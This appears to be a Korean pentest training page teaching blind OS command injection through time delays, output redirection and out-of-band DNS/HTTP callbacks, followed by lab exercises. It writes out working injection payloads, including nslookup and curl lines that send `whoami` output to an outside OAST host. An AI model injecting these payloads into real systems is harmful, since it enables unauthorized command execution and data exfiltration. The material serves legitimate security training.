펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



Blind OS 명령 인젝션

모두 7명의 회원님이 완료했어요.


 실습 환경

  실습을 하시려면 로그인이 필요합니다.

이 훈련에서는 Blind OS 명령 인젝션에 사용될 수 있는 몇 가지 기술을 소개하고 각 기술을 활용해 Blind OS 명령 인젝션 취약점을 테스트하는 방법에 대해 학습할 수 있습니다. 또한 제공되는 실습 환경을 통해 학습한 기법을 직접 연습해 볼 수 있습니다. 





Blind OS 명령 인젝션이란?


Blind OS 명령 인젝션은 사용자 입력 데이터가 웹 서버의 시스템 셸로 전달되어 실행되지만 기본적인 명령 인젝션과는 달리 명령의 실행 결과가 HTTP 응답 메세지에 출력되지 않는 경우에 사용할 수 있는 OS 명령 인젝션의 일종입니다. 기본적인 OS 명령 인젝션에 대해 학습하시려면 아래의 훈련을 읽어보세요.

  더 읽어보세요.

이러한 Blind 환경에서는 HTTP 응답 메세지에 직접적으로 출력되는 어떠한 정보도 없으므로 기본적인 OS 명령 인젝션 기술을 사용해서는 주입된 명령이 성공적으로 실행되었는지 판단할 수 없습니다. 따라서 명령의 성공적인 실행 여부를 판단하기 위해 아래에서 소개되는 특별한 기법이 사용됩니다. 


Blind OS 명령 인젝션을 위한 기술들


Blind 명령 인젝션은 주입된 명령의 실행 결과를 육안으로 확인할 수 없는 특징으로 인해 '시간 지연', '출력 리다이렉팅' 또는 '대역 외(Out-Of-Band, OOB) 채널'과 같은 기술이 주로 사용됩니다. 


시간 지연

SLEEP 또는 PING과 같은 명령을 사용하여 의도적으로 HTTP 응답 시간을 지연시키는 방법입니다. HTTP 응답 시간이 공격자 또는 테스터가 지정한 시간만큼 지연된다면 주입된 임의의 명령이 정상적으로 실행되었다고 판단할 수 있습니다. 


출력 리다이렉팅

명령의 실행 결과를 웹루트 또는 그 하위의 경로에 파일로 생성(리다이렉팅)하고 해당 파일의 URL을 통해 파일을 조회하여 주입된 임의의 명령이 실행되었는지 판단할 수 있는 기술입니다. 단, 웹 서버를 구동하는 계정에 리다이렉팅할 디렉토리에 대한 읽기와 쓰기 권한이 있어야 합니다.


대역 외(Out-Of-Band) 채널

대역 외(Out-Of-Band, OOB) 채널을 이용한 기술은 취약한 서버를 공격자 또는 테스터가 제어할 수 있는 외부의 서버와 통신을 하도록 유도하고 통신 기록을 확인함으로써 주입된 임의의 명령이 실행되었는지 확인할 수 있는 기술입니다.


Blind OS 명령 인젝션 테스트 방법


Blind OS 명령 인젝션을 테스트하는 방법은 기본 OS 명령 인젝션을 테스트하는 방법과 거의 유사합니다. 하지만 말씀드렸다시피 Blind OS 명령 인젝션은 공격자 또는 테스터에게 명령 실행 결과가 직접적으로 제공되지 않으므로 기본 OS 명령 인젝션과는 다른 형태의 테스트 문자열을 사용해야 합니다. 앞서 소개해드린 Blind OS 명령 인젝션의 유형별 테스트 방법에 대해 차례로 살펴봅시다.


시간 지연

시간 지연 기법으로는 SLEEP 명령(리눅스/유닉스만 해당) 또는 루프백(Loopback) PING을 사용할 수 있습니다. SLEEP 명령이나 PING 명령을 통해 웹 애플리케이션의 응답 시간을 원하는 시간만큼 의도적으로 지연시킬 수 있습니다. 시간 지연 기법을 사용할 때는 서버의 과부하 또는 네트워크 트래픽 과다로 인한 성능 저하, 속도 저하 등 명령 인젝션과 상관없는 다양한 원인으로 HTTP 응답이 지연될 수 있으므로 반복적으로 여러 번에 걸쳐 테스트를 해보고 의도한 시간만큼 시간 지연이 발생하는지 확인해봐야 합니다. 웹 애플리케이션의 HTTP 응답이 테스터가 의도한 시간만큼 일정하고 반복적으로 지연된다면 명령 인젝션 공격에 잠재적으로 취약하다고 볼 수 있습니다. 


SLEEP 명령 이용

만일 운영체제가 리눅스/유닉스 계열이라면 다음과 같이 셸 메타문자와 조합된 SLEEP 명령을 이용할 수 있습니다.  

& sleep 10 &

위의 명령이 성공적으로 실행된다면 10초간 HTTP 응답 지연을 발생 시킵니다. 앰퍼샌드(&) 문자 대신 다른 셸 메타문자를 사용해도 상관없습니다.


루프백(Loopback) PING 이용

루프백 PING 테스트를 위해 다음과 같이 응답 시간의 지연을 유발하도록 구성된 명령을 사용할 수 있습니다. 물론 공격자나 테스터의 재량에 따라 다른 형태로 구성할 수도 있습니다. 다만 PING 명령의 옵션은 운영체제 종류에 따라 다소 차이가 있으니 웹 서버의 운영체제에 유효한 옵션을 사용하셔야 합니다. 

  • 리눅스/유닉스의 경우: -c 옵션을 통해 요청 갯수를 2개로 지정하고 요청 간의 시간 간격을 10초로 하면 약 10초 정도 응답 시간이 지연됩니다.
& ping -c 2 -i 10 127.0.0.1 &
  • 윈도우의 경우:  요청 간의 시간 간격은 약 1초이므로 -n 옵션을 통해 요청 갯수를 10개로 지정하면 약 10초 정도 응답 시간이 지연됩니다. 
& ping -n 10 127.0.0.1 &
  • 공용:  각 운영체제에 사용되는 명령을 조합해 운영체제에 상관없이 약 10초의 시간을 지연시킬 수 있습니다.
& ping -c 2 -i 10 127.0.0.1; x || ping -n 10 127.0.0.1 &


위 명령을 사용한 후 의도한 시간만큼 응답 지연이 발생하는지 확인하기 위해서는 Burp Suite 또는 ZAP 프록시 도구를 활용할 수 있습니다. 위의 명령이 주입된 요청을 취약한 웹 애플리케이션에 보내고 프록시 도구에서 표시되는 응답 시간을 확인하시면 됩니다. 또는 웹 브라우저의 개발자 도구에서도 확인할 수 있는데 이는 개발자 도구의 네트워크 탭에서 브라우저 통신 기록을 확인하시면 됩니다. 아래는 10초간 응답 지연을 유발하는 PING 명령을 전송한 후 개발자 도구의 일부를 스크린샷한 그림입니다. 그림에서 Waiting(TTFB) 항목의 값을 보면 요청 후 응답의 첫 바이트를 받을 때까지 시간이 약 10초 소요되었고 의도한 시간만큼 지연되었음을 알 수 있습니다.


 

웹 브라우저 개발자 도구를 통해 응답 시간을 확인할 수 있다.


출력 리다이렉팅

Blind 환경에서 명령 실행 여부를 확인할 수 있는 다른 방법으로는 출력 리다이렉팅이 있습니다. 리눅스, 아파치 환경에서 구동 중인 웹 애플리케이션을 예로 들면 아래와 같은 명령을 주입하실 수 있습니다.

& echo 'commandi' > /var/www/html/myoutput.txt &

위의 명령이 정상적으로 실행된다면 출력 리다이렉션 메타문자인 > 를 기준으로 왼쪽의 명령인 echo 'commandi' 의 실행 결과가 웹루트 디렉토리(/var/www/html/)에 myoutput.txt 라는 파일로 생성될 것입니다. https://www.example.com/myoutput.txt 를 방문하여 commandi 라는 문자열이 응답으로 출력된다면 명령 인젝션 공격에 취약하다고 볼 수 있습니다. 


대역 외(Out-Of-Band) 채널

대역 외 채널을 통해 명령 실행 여부를 확인할 수도 있습니다. 


nslookup 이용

공격자 또는 테스터가 소유한 도메인에 대한 DNS 조회가 발생하도록 nslookup 명령을 사용하는 방법입니다. nslookup은 특정 도메인의 IP 주소, MX(메일 레코드), CNAME 등 네임서버와 관련된 정보를 조회하기 위한 명령으로 기본적인 사용법은 아래와 같습니다. (조회 대상 도메인이 domain.com인 경우)

nslookup domain.com

만일 공격자 또는 테스터가 소유한 도메인을 mydomain.com 이라고 했을 때 Blind 명령 인젝션을 테스트하기 위해서 위의 nslookup 명령에서 사용된 domain.com 대신 `실행할 명령`.mydomain.com을  입력합니다. 실행할 명령은 백틱(`)으로 감싸주었음에 유의하시기 바랍니다. 또한 nslookup 명령 좌우로 앰퍼샌드(&) 메타문자가 있는데 앰퍼샌드(&) 메타문자는 테스트 환경에 맞게 적절히 다른 메타문자로 변경하셔도 상관없습니다.

& nslookup `실행할 명령`.mydomain.com &

실행할 명령으로 commandi 라는 문자열을 출력하는 명령인 echo 'commandi'를 사용한다고 가정해봅시다. 주입될 명령은 아래와 같은 형태가 될 것입니다.

& nslookup `echo 'commandi'`.mydomain.com &


위의 명령이 성공적으로 실행된다면 결국 mydomain.com으로 commandi.mydomain.com에 대한 DNS 조회가 발생하게 됩니다. 

다시 말해 만일 아래와 같이 백틱(`) 사이에 whoami 명령(실행 결과는 www-data라고 가정함)을 삽입한다면

& nslookup `whoami`.mydomain.com &

www-data.mydomain.com 에 대한 DNS 조회가 발생하게 됩니다. 결국 테스터는 자신의 도메인인 mydomain.com에 발생한 DNS 조회 기록을 통해 명령의 실행 결과를 확인할 수 있게 됩니다. 


Burp Suite Pro와 ZAP 프록시에는 이 과정을 쉽게 할 수 있도록 도와주는 애드온이 있습니다. Burp Suite Pro 사용자는 Burp Collaborator 를 사용할 수 있으며 Burp Suite Pro 라이센스가 없다면 오픈소스 도구인 ZAP OAST 애드온을 사용할 수 있습니다. 이 훈련에서는 누구나 사용할 수 있는 ZAP OAST 애드온을 이용한 테스트 방법에 대해서 간단히 살펴보도록 하겠습니다.

우선 자신의 ZAP 프록시에 OAST 애드온이 설치되어있지 않다면 먼저 설치를 하시기 바랍니다. 설치가 끝났다면 ZAP 프록시의 Options > OAST 로 이동하여 odiss.eu에서 서버 주소를 발급받습니다. 아래 화면에 보이는 Register 버튼을 클릭하면 Payload와 Canary를 받을 수 있습니다. 정상적으로 발급되면 아래의 Active Servers 목록에 Payload와 Canary가 추가되고 Payload에 기재된 주소가 바로 명령 인젝션 공격에 활용될 서버의 주소(공격자의 웹주소)입니다. 참고로 Polling Frequency 항목이 기본 60초로 설정되어 있음을 볼 수 있습니다. 이것은 60초 주기마다 Server URI와 상호작용하는 기록을 가져온다는 의미입니다. 


ZAP OAST 설정 화면에서 Payload와 Canary를 받는다


이제 취약한 웹 애플리케이션의 진입점에서 다음과 같이 nslookup 명령을 주입하고 요청을 전송합니다. 

& nslookup `whoami`.nexf4gnihbw5refysyibsbfeea.odiss.eu &


ZAP 프록시로 돌아와 메인화면의 OAST 탭(없을 경우 + 를 클릭해 직접 추가해야 함)에서 자동(설정된 60초 주기가 될 때까지 대기 필요) 또는 수동(Polling Now 버튼을 통해 즉시 가져옴)으로 DNS 조회 기록을 확인할 수 있습니다. 아래 그림에서 보시다시피 `whoami` 명령이 실행된 www-data.nexf4gnihbw5refysyibsbfeea.odiss.eu에 대한 DNS 조회가 발생하였습니다.


ZAP OAST 탭에서 명령(whoami)의 실행 결과가 포함된 DNS 조회 기록을 확인할 수 있다.


curl 이용

취약한 웹 애플리케이션을 구동 중인 서버에서 curl 명령을 사용할 수 있다면 다음과 같은 curl 명령을 통해 명령 주입 취약점이 존재하는지 식별할 수도 있습니다. 

& curl mydomain.com/?q=`실행할 명령` &

위 명령 구문상의 실행할 명령 부분을 whoami로 변경하고 취약한 웹 애플리케이션으로 요청을 전송합니다.

& curl mydomain.com/?q=`whoami` &

마찬가지로 명령이 정상적으로 실행되는지 확인하기 위해 ZAP OAST를 사용해보도록 하겠습니다. 위의 nslookup 명령을 이용하면서 받았던 ZAP OAST의 서버 주소를 그대로 이용하면 주입할 명령은 최종적으로 다음과 같습니다.

& curl nexf4gnihbw5refysyibsbfeea.odiss.eu/?q=`whoami` &

취약한 웹 애플리케이션으로 요청을 전송하고 이 명령이 성공적으로 실행되면 ZAP OAST에서 발급받은 서버로 HTTP GET 요청이 발생하고 요청된 URL주소를 통해 `whoami` 명령의 실행 결과인 www-data를 확인할 수 있습니다.


ZAP OAST 탭에서 명령(whoami)의 실행 결과가 포함된 GET 요청을 확인할 수 있다.


실습 문제


아래 내용을 읽기 전에 본 훈련의 가상 실습 환경을 생성하여 먼저 실습해보실 것을 권장드립니다. 제시된 풀이 방법은 수많은 해결법 중 하나일 뿐이며 다양한 방법으로 해결이 가능할 수 있습니다.

본 훈련의 실습에서는 사용자로부터 입력받은 IP주소나 도메인명을 대상으로 PING 명령을 수행하여 해당 호스트가 살아있는지 확인하는 PHP 기반의 Simple Host Alive Checker 라는 웹 페이지가 제공됩니다. 위에서 배운 Blind 명령 인젝션 기법들을 사용하여 명령 인젝션에 취약한지 확인해보세요.


Exercise 1

이 문제는 사용자에 의해 입력된 호스트로 PING 요청을 보낸 후 결과에 따라 개발자가 미리 지정한 성공 또는 실패 메세지만을 출력합니다. 


Exercise 2

이 문제는 시간 지연 기술을 방어하기 위해 개발자가 어떤 조치를 취했습니다. 시간 지연 기술을 사용하기에는 다소 제약이 있는 것 같습니다.


Exercise 3

이 문제는 시간 지연 기술 및 출력 리다이렉팅 기술에 대한 방어를 위해 개발자가 조치를 취한 것 같습니다. 



참고 문헌